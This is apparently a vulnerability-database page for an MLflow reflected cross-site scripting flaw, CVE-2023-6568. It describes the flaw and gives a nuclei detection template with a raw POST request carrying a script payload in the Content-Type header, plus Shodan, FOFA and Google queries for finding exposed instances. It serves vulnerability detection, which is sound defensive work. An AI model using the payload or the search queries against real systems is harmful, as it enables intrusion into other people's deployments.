HexBrain

Browse / CVEs / CVE-2023-6568

CVE-2023-6568· lfprojects / mlflow· CWE-79

Mlflow - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.6%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it

The vulnerability allows an attacker to inject malicious code into the Content-Type header of a POST request, which is then reflected back to the user without proper sanitization or escaping.

Impact

Allows attackers to execute malicious scripts in the context of a user's session

Fix

Sanitize and validate user input to prevent XSS attacks

How to confirm it

Send: POST /api/2.0/mlflow/users/create
Positive when: contains "<script>alert(document.domain)</script>" and "Invalid content type:" AND contains in content_type "text/html" AND status 400

Run it with nuclei: nuclei -id CVE-2023-6568 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-6568

info:
  name: Mlflow - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The vulnerability allows an attacker to inject malicious code into the Content-Type header of a POST request,
    which is then reflected back to the user without proper sanitization or escaping.
  impact: |
    Allows attackers to execute malicious scripts in the context of a user's session
  remediation: |
    Sanitize and validate user input to prevent XSS attacks
  reference:
    - https://huntr.com/bounties/816bdaaa-8153-4732-951e-b0d92fddf709
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6568
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6568
    cwe-id: CWE-79
    epss-score: 0.01649
    epss-percentile: 0.76697
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query: app="MLflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,xss,vuln

http:
  - raw:
      - |
        POST /api/2.0/mlflow/users/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: <script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Invalid content type:"
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from